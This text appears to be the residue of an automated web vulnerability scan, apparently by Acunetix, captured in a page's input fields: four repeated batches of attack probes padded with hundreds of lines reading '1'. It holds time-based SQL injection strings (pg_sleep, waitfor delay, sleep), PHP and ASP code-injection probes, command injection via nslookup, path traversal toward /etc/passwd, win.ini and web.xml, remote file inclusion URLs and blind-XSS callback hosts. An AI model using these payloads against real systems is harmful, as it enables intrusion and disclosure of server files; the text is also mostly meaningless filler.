1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

<!–

1

‘”

1

1

1

1

/www.vulnweb.com

1

1

1

1

1

1

1

1

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

JyI=

1

@@qzrwA

1

\

1

1′”

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

4988.html/.

4988.html

1

4988.html

http://hit6bczmkb02f.bxss.me/

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

${@print(md5(acunetix_wvs_security_test))}\

1

${@print(md5(acunetix_wvs_security_test))}

“;print(md5(acunetix_wvs_security_test));$a=”

‘;print(md5(acunetix_wvs_security_test));$a=’

1

1

;print(md5(acunetix_wvs_security_test));

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

‘”()

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

^(#$!@#$)(()))******

!(()&&!|*|*|

)

1

1

1

1

1

1

1&n959768=v949479

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

testasp.vulnweb.com

http://testasp.vulnweb.com/t/fit.txt?.jpg

1

http://testasp.vulnweb.com/t/fit.txt

1

1some_inexistent_file_with_long_name.jpg

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1

1

1

1

1

1

1

1

1

1

1

WEB-INF\web.xml

WEB-INF/web.xml

1

1

1

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

1

…………….windowswin.ini

1

1

1

1

C:\WINDOWS\system32\drivers\etc\hosts

1

/WEB-INF/web.xml

file:///etc/passwd

1

1

%2fetc%2fpasswd

1

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

d07wS3ku

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

&nslookup C8YbMVAG&’\”`0&nslookup C8YbMVAG&`’

$(nslookup nyrBNAuB)

set|set&set

1

1

1

1

1

1

1

1

1

1

1

6DZnZi0o’));select pg_sleep(5); —

SeQ3tS0U’);select pg_sleep(5); —

YQqxQlhI’;select pg_sleep(5); —

-1));select pg_sleep(15); —

-1);select pg_sleep(15); —

-1;select pg_sleep(15); —

TY4OAldT’; waitfor delay ‘0:0:15’ —

1 waitfor delay ‘0:0:15’ —

-1); waitfor delay ‘0:0:15’ —

-1; waitfor delay ‘0:0:10’ —

0″XOR(if(now()=sysdate(),sleep(10),0))XOR”Z

0’XOR(if(now()=sysdate(),sleep(10),0))XOR’Z

if(now()=sysdate(),sleep(10),0)

-1″ OR 2+922-922-1=0+0+0+1 —

-1′ OR 2+758-758-1=0+0+0+1 or ‘lU1C5Wp1’=’

-1′ OR 2+605-605-1=0+0+0+1 —

-1 OR 2+159-159-1=0+0+0+1

-1 OR 2+331-331-1=0+0+0+1 —

lmZ0Uq0k

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

“+response.write(9927057*9604695)+”

‘+response.write(9927057*9604695)+’

response.write(9927057*9604695)

1

1

1

1

1

1

1

1

1

1

1

1

<!–

‘”

1

1

1

/www.vulnweb.com

1

1

1

1

1

1

1

1

1

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

1

1

1

1

1

1

JyI=

1

@@ZFOLw

1

1

http://hit2rnILZfNuJ.bxss.me/

\

1

1

1′”

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

${@print(md5(acunetix_wvs_security_test))}\

${@print(md5(acunetix_wvs_security_test))}

4988.html/.

“;print(md5(acunetix_wvs_security_test));$a=”

‘;print(md5(acunetix_wvs_security_test));$a=’

4988.html

;print(md5(acunetix_wvs_security_test));

4988.html

1

1

1

1

1

1

1

1

1

1

1

1

1

‘”()

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

^(#$!@#$)(()))******

1

1

!(()&&!|*|*|

)

1

1

1

1

1

1

1

1&n978295=v904359

1

1

1

1

1

1

WEB-INF\web.xml

1

1

WEB-INF/web.xml

1

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

…………….windowswin.ini

C:\WINDOWS\system32\drivers\etc\hosts

/WEB-INF/web.xml

1

file:///etc/passwd

1

1

1

1

testasp.vulnweb.com

%2fetc%2fpasswd

http://testasp.vulnweb.com/t/fit.txt?.jpg

http://testasp.vulnweb.com/t/fit.txt

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

1some_inexistent_file_with_long_name.jpg

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

1

1

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

TyOG3mTX’));select pg_sleep(6); —

1

J4rRphw1′);select pg_sleep(6); —

kDtNWVIj’;select pg_sleep(6); —

-1));select pg_sleep(6); —

-1);select pg_sleep(3); —

-1;select pg_sleep(3); —

VCXM3zoJ’; waitfor delay ‘0:0:3’ —

1 waitfor delay ‘0:0:6’ —

1

1 waitfor delay ‘0:0:3’ —

1

-1); waitfor delay ‘0:0:3’ —

-1; waitfor delay ‘0:0:3’ —

1

S1WKBRQ3

0″XOR(if(now()=sysdate(),sleep(9),0))XOR”Z

0’XOR(if(now()=sysdate(),sleep(9),0))XOR’Z

1

if(now()=sysdate(),sleep(9),0)

1

-1″ OR 2+732-732-1=0+0+0+1 —

1

-1′ OR 2+881-881-1=0+0+0+1 or ‘fkZaaAzX’=’

-1′ OR 2+906-906-1=0+0+0+1 —

-1 OR 2+800-800-1=0+0+0+1

-1 OR 2+312-312-1=0+0+0+1 —

LISE80yn

1

1

1

1

1

&nslookup kVcXXB7H&’\”`0&nslookup kVcXXB7H&`’

$(nslookup NOaQEfgE)

set|set&set

1

1

1

1

1

1

1

1

1

“+response.write(9084767*9212726)+”

1

‘+response.write(9084767*9212726)+’

1

response.write(9084767*9212726)

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

<!–

‘”

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

/www.vulnweb.com

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

JyI=

1

1

@@MyNeh

1

1

1

1

\

1

1

1

1′”

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

http://hitqEg4t1MYX1.bxss.me/

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

${@print(md5(acunetix_wvs_security_test))}\

1

${@print(md5(acunetix_wvs_security_test))}

1

1

1

1

1

4988.html/.

1

“;print(md5(acunetix_wvs_security_test));$a=”

‘;print(md5(acunetix_wvs_security_test));$a=’

1

1

4988.html

;print(md5(acunetix_wvs_security_test));

4988.html

1

1

1

1

1

1

1

‘”()

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

WEB-INF\web.xml

WEB-INF/web.xml

1

1

1

1

1

1

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

…………….windowswin.ini

1

1

1

C:\WINDOWS\system32\drivers\etc\hosts

/WEB-INF/web.xml

1

1

1

file:///etc/passwd

1

1

1

1

1

1

1

1

1

1

1

^(#$!@#$)(()))******

!(()&&!|*|*|

)

%2fetc%2fpasswd

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

1

1

1

1

1

1

1

1

1

1

1

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

1

1

1

1

1

testasp.vulnweb.com

1

1&n997053=v975107

1

1

1

1

1

1

1

1

1

1

1

1

http://testasp.vulnweb.com/t/fit.txt?.jpg

1

http://testasp.vulnweb.com/t/fit.txt

1

1some_inexistent_file_with_long_name.jpg

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

k6Vcg0Wz’));select pg_sleep(10); —

1

fLEApxai’);select pg_sleep(5); —

D4dnGIeM’;select pg_sleep(15); —

1

1

zj9HHuGS’;select pg_sleep(5); —

-1));select pg_sleep(5); —

-1);select pg_sleep(5); —

-1;select pg_sleep(15); —

-1;select pg_sleep(0); —

-1;select pg_sleep(5); —

1a3dtAGz’; waitfor delay ‘0:0:5’ —

1

1

1 waitfor delay ‘0:0:15’ —

-1); waitfor delay ‘0:0:15’ —

1

0″XOR(if(now()=sysdate(),sleep(15),0))XOR”Z

1

1

1

0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z

1

if(now()=sysdate(),sleep(10),0)

1

1

1

1

1

-1″ OR 2+493-493-1=0+0+0+1 —

-1′ OR 2+625-625-1=0+0+0+1 or ‘CeJmV26z’=’

-1′ OR 2+467-467-1=0+0+0+1 —

-1 OR 2+729-729-1=0+0+0+1

-1 OR 2+891-891-1=0+0+0+1 —

zBNFM7DW

1

1

1

B5vOdwav

1

1

1

1

&nslookup kpklIyW4&’\”`0&nslookup kpklIyW4&`’

1

$(nslookup OERxvg30)

1

set|set&set

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

“+response.write(9074884*9592183)+”

1

‘+response.write(9074884*9592183)+’

1

response.write(9074884*9592183)

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

<!–

‘”

1

1

1

1

1

1

1

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

/www.vulnweb.com

1

1

1

1

1

1

1

JyI=

@@qm9SA

1

1

\

1

1′”

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

4988.html/.

1

4988.html

http://hitdBTDIF5PmZ.bxss.me/

4988.html

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

${@print(md5(acunetix_wvs_security_test))}\

1

1

${@print(md5(acunetix_wvs_security_test))}

“;print(md5(acunetix_wvs_security_test));$a=”

1

‘;print(md5(acunetix_wvs_security_test));$a=’

1

;print(md5(acunetix_wvs_security_test));

1

1

1

1

1

1

1

1

1

1

1

1

1

1

‘”()

1

1

1

1

1

1

1

1

1

1

1

^(#$!@#$)(()))******

!(()&&!|*|*|

)

1

1

1

1

1

1

1

1

1

1

1

1&n918925=v937601

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

WEB-INF\web.xml

1

1

1

1

1

1

testasp.vulnweb.com

1

WEB-INF/web.xml

http://testasp.vulnweb.com/t/fit.txt?.jpg

1

http://testasp.vulnweb.com/t/fit.txt

1some_inexistent_file_with_long_name.jpg

1

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1

1

…………….windowswin.ini

1

C:\WINDOWS\system32\drivers\etc\hosts

1

/WEB-INF/web.xml

1

file:///etc/passwd

1

%2fetc%2fpasswd

1

u6hwOKMi’));select pg_sleep(3); —

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

1ezsJhWe’);select pg_sleep(3); —

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

hUt5bH2o’;select pg_sleep(3); —

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

-1));select pg_sleep(3); —

-1);select pg_sleep(9); —

-1;select pg_sleep(9); —

1

hLhtIcH8′; waitfor delay ‘0:0:9’ —

1 waitfor delay ‘0:0:9’ —

1

-1); waitfor delay ‘0:0:9’ —

1

-1; waitfor delay ‘0:0:9’ —

1

1

0″XOR(if(now()=sysdate(),sleep(6),0))XOR”Z

0’XOR(if(now()=sysdate(),sleep(6),0))XOR’Z

1

if(now()=sysdate(),sleep(6),0)

1

-1″ OR 2+553-553-1=0+0+0+1 —

1

-1′ OR 2+160-160-1=0+0+0+1 or ‘FCzghkzc’=’

1

1

1

1

-1′ OR 2+123-123-1=0+0+0+1 —

-1 OR 2+393-393-1=0+0+0+1

-1 OR 2+661-661-1=0+0+0+1 —

ARCzQrsJ

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

OmCkfWPf

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

&nslookup IWXnxTgM&’\”`0&nslookup IWXnxTgM&`’

$(nslookup G5c7IPEy)

1

set|set&set

1

1

“+response.write(9450655*9360648)+”

‘+response.write(9450655*9360648)+’

response.write(9450655*9360648)

1

1